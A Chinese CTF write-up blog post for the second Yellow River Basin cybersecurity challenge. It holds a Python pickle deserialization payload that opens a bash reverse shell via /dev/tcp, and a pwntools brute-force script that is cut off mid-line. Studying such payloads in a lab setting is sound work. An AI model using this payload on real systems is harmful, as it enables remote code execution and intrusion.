第二届黄河流域网络安全技能挑战赛WP

WriteUP

TIP:可以留言给我换友链捏
第一次打ctf 之前只会做服务器取证 不知道为什么就第二了 可能运气比较好吧
由于我自己目前在取证工作中,也遇到很多ctf的问题,我个人非常喜欢做ctf的题目,但也会遇到ctf问题难以破解,全网ctf教程我都看完了,但是都觉得不够具体,所以我写一篇博客,希望以最具体的,实操演示的方式,向大家说明ctf的原理,希望与大家一起进步!

MyFavorPython

看看题 开局给了个登录界面 注册个账户直接进入

看到个Python unserialize的界面

推测是打Python反序列化漏洞

构造POC如下:

import base64
payload=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
tR.
'''
print(base64.b64encode(payload))

#ip和port自己填下

反弹shell后直接cat /flag.txt
在这里插入图片描述

Fuzzzz

nc起手 试了几下在找到两个hint

提示len(random_str)=3 secret的长度为10

直接输入10个字符遍历一下

发现有些会变成+

推测+代表正确的字符

遍历出固定的字符为S4PcSec后直接写个爆破脚本

不会写的同学去给GPT嗦牛牛让他帮你

#!/usr/bin/env python

# -*- encoding: utf-8 -*-

from pwn import *

context.log_level='debug'

from pwn import *

import string

# 连接到服务器

conn = remote('116.62.53.46', 2333)

# 爆破后三位字符

correct_strings = []

for char1 in string.printable:

    test_string = 'S4PcSec' + char1 + char1 + char1

    # 发送选项并接收

    conn.recvuntil('Choose an option(1 or 2):')

    conn.sendline('1')

    conn.recvuntil('Fuzz>')

    # 发送测试字符串

    conn.sendline(test_string)

    

    # 接收服务器响应

    response = conn.recvline().strip()

    

    # 根据 '+' 的位置确定哪个字符是正确的

    correct_char_index = response.find(
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值